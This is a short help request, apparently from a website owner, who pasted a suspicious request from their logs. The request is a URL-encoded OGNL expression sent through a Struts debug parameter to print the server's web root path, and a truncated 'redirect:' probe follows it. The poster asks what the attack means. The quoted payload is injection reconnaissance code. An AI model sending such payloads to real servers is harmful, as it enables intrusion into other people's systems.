Site attacked

Hello today I logged in an found this on my site:

mysite.com/?debug=command&expression=%23res%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()

and after that another:
mysite.com/?redirect:

what i need to find or be afraid of?